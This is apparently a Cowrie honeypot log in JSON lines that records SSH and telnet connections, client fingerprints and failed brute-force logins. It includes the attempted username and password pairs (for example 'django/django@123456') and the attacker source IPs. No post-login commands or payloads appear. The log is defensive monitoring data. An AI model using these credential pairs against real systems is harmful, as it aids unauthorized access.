{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:39.761486Z","src_ip":"115.190.216.185","session":"b12603eecb74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:39.999235Z","src_ip":"115.190.216.185","session":"b12603eecb74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ankit","password":"123456","message":"login attempt [ankit/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:40.996500Z","src_ip":"115.190.216.185","session":"b12603eecb74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:42.236622Z","src_ip":"115.190.216.185","session":"b12603eecb74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":39272,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed0147c412d5","protocol":"ssh","message":"New connection: 24.144.91.67:39272 (10.17.0.5:22) [session: ed0147c412d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:43.874565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:43.879355Z","src_ip":"24.144.91.67","session":"ed0147c412d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:43.942975Z","src_ip":"24.144.91.67","session":"ed0147c412d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"django","password":"django@123456","message":"login attempt [django/django@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:44.229031Z","src_ip":"24.144.91.67","session":"ed0147c412d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:45.295469Z","src_ip":"24.144.91.67","session":"ed0147c412d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.033287763595581,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:53.315691Z","src_ip":"66.132.172.193","session":"362870a2fcd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.193","src_port":35860,"dst_ip":"10.17.0.5","dst_port":23,"session":"121e375783d8","protocol":"telnet","message":"New connection: 66.132.172.193:35860 (10.17.0.5:23) [session: 121e375783d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:56.401670Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.183","src_port":37274,"dst_ip":"10.17.0.5","dst_port":23,"session":"64dd862cf568","protocol":"telnet","message":"New connection: 66.132.172.183:37274 (10.17.0.5:23) [session: 64dd862cf568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:58.734215Z"}
{"eventid":"cowrie.session.closed","duration":3.0010151863098145,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:59.402581Z","src_ip":"66.132.172.193","session":"121e375783d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.193","src_port":35872,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c98735d95a0","protocol":"telnet","message":"New connection: 66.132.172.193:35872 (10.17.0.5:23) [session: 8c98735d95a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:02.434345Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":35828,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c5af4e6d8ff","protocol":"ssh","message":"New connection: 212.11.64.156:35828 (159.203.135.109:22) [session: 9c5af4e6d8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:02.662518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:02.666988Z","src_ip":"212.11.64.156","session":"9c5af4e6d8ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:02.759095Z","src_ip":"212.11.64.156","session":"9c5af4e6d8ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessica","password":"Jessica123!","message":"login attempt [jessica/Jessica123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:03.158718Z","src_ip":"212.11.64.156","session":"9c5af4e6d8ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:04.253880Z","src_ip":"212.11.64.156","session":"9c5af4e6d8ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.085835933685303,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:12.520077Z","src_ip":"66.132.172.193","session":"8c98735d95a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.07312822341919,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:13.807206Z","src_ip":"66.132.172.183","session":"64dd862cf568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.183","src_port":43734,"dst_ip":"10.17.0.5","dst_port":23,"session":"effc21835d59","protocol":"telnet","message":"New connection: 66.132.172.183:43734 (10.17.0.5:23) [session: effc21835d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:18.589659Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.138.118","src_port":29694,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7b2a40c9f2c","protocol":"telnet","message":"New connection: 167.94.138.118:29694 (10.17.0.5:23) [session: d7b2a40c9f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:22.040284Z"}
{"eventid":"cowrie.session.closed","duration":3.6063785552978516,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:22.195956Z","src_ip":"66.132.172.183","session":"effc21835d59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.183","src_port":43742,"dst_ip":"10.17.0.5","dst_port":23,"session":"54325216d9da","protocol":"telnet","message":"New connection: 66.132.172.183:43742 (10.17.0.5:23) [session: 54325216d9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:26.044606Z"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":43242,"dst_ip":"159.203.135.109","dst_port":22,"session":"db6656687362","protocol":"ssh","message":"New connection: 131.161.249.165:43242 (159.203.135.109:22) [session: db6656687362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:29.418048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:29.422268Z","src_ip":"131.161.249.165","session":"db6656687362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:29.546247Z","src_ip":"131.161.249.165","session":"db6656687362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ravi","password":"12345678","message":"login attempt [ravi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:30.074098Z","src_ip":"131.161.249.165","session":"db6656687362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:31.200768Z","src_ip":"131.161.249.165","session":"db6656687362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.49520468711853,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:36.539687Z","src_ip":"66.132.172.183","session":"54325216d9da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.748223066329956,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:33:37.788348Z","src_ip":"167.94.138.118","session":"d7b2a40c9f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":51254,"dst_ip":"10.17.0.5","dst_port":22,"session":"573a00a52f33","protocol":"ssh","message":"New connection: 80.94.92.171:51254 (10.17.0.5:22) [session: 573a00a52f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:10.624630Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:10.748834Z","src_ip":"80.94.92.171","session":"573a00a52f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.138.118","src_port":13418,"dst_ip":"10.17.0.5","dst_port":23,"session":"de677d4eefe4","protocol":"telnet","message":"New connection: 167.94.138.118:13418 (10.17.0.5:23) [session: de677d4eefe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:11.980363Z"}
{"eventid":"cowrie.session.closed","duration":3.3166344165802,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:15.296840Z","src_ip":"167.94.138.118","session":"de677d4eefe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.138.118","src_port":22992,"dst_ip":"10.17.0.5","dst_port":23,"session":"34765f271eb6","protocol":"telnet","message":"New connection: 167.94.138.118:22992 (10.17.0.5:23) [session: 34765f271eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:18.325936Z"}
{"eventid":"cowrie.session.closed","duration":10.002337455749512,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:28.328139Z","src_ip":"167.94.138.118","session":"34765f271eb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.212.22","src_port":41400,"dst_ip":"159.203.135.109","dst_port":22,"session":"81291097c35c","protocol":"ssh","message":"New connection: 43.133.212.22:41400 (159.203.135.109:22) [session: 81291097c35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:33.384029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:33.387570Z","src_ip":"43.133.212.22","session":"81291097c35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:33.563135Z","src_ip":"43.133.212.22","session":"81291097c35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"franco","password":"franco@123","message":"login attempt [franco/franco@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:34.238146Z","src_ip":"43.133.212.22","session":"81291097c35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:35.401360Z","src_ip":"43.133.212.22","session":"81291097c35c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":33448,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6981aa0ebd1","protocol":"ssh","message":"New connection: 34.81.72.185:33448 (159.203.135.109:22) [session: e6981aa0ebd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:39.104389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:39.108512Z","src_ip":"34.81.72.185","session":"e6981aa0ebd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:39.302279Z","src_ip":"34.81.72.185","session":"e6981aa0ebd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ravi","password":"12345678","message":"login attempt [ravi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:40.111877Z","src_ip":"34.81.72.185","session":"e6981aa0ebd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:41.309804Z","src_ip":"34.81.72.185","session":"e6981aa0ebd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":54176,"dst_ip":"159.203.135.109","dst_port":22,"session":"409672618523","protocol":"ssh","message":"New connection: 212.11.64.156:54176 (159.203.135.109:22) [session: 409672618523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:45.860778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:45.865506Z","src_ip":"212.11.64.156","session":"409672618523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:45.974839Z","src_ip":"212.11.64.156","session":"409672618523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver@123456","message":"login attempt [mcserver/mcserver@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:46.445179Z","src_ip":"212.11.64.156","session":"409672618523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:34:47.557054Z","src_ip":"212.11.64.156","session":"409672618523","protocol":"ssh"}
